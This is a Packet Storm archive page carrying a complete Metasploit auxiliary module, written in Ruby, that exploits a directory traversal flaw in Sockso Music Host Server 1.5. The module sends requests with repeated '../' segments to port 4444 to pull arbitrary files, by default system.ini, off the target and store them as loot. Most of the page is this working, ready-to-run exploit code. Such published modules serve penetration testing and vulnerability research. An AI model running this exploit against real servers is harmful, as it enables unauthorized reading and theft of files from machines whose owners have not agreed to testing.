what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sockso Music Host Server 1.5 Directory Traversal

Sockso Music Host Server 1.5 Directory Traversal
Posted Sep 1, 2024
Authored by Luigi Auriemma, sinn3r | Site metasploit.com

This Metasploit module exploits a directory traversal bug in Sockso on port 4444. This is done by using "../" in the path to retrieve a file on a vulnerable machine.

tags | exploit
SHA-256 | 8b58c3d3a18b7324e06669702efc26713aaea795ec63f5471cbbb73c604a5e29

Sockso Music Host Server 1.5 Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Sockso Music Host Server 1.5 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal bug in Sockso on port
4444. This is done by using "../" in the path to retrieve a file on
a vulnerable machine.
},
'References' =>
[
[ 'URL', 'https://aluigi.altervista.org/adv/sockso_1-adv.txt' ],
],
'Author' =>
[
'Luigi Auriemma', #Initial discovery, poc
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2012-03-14'
))

register_options(
[
Opt::RPORT(4444),
OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\system.ini'])
])
end

def run_host(ip)
trav = "file/"
trav << "../" * 10

file = datastore['FILEPATH']
file = file[1,file.length] if file[0,1] == "\\"

uri = "/#{trav}#{file}"
print_status("#{ip}:#{rport} - Retrieving #{file}")

res = send_request_raw({
'method' => 'GET',
'uri' => uri
}, 25)

print_status("#{ip}:#{rport} returns: #{res.code.to_s}")

if res and res.body.empty?
print_error("No file to download (empty)")
else
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'netdecision.http',
'application/octet-stream',
ip,
res.body,
fname)
print_status("File saved in: #{path}")
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close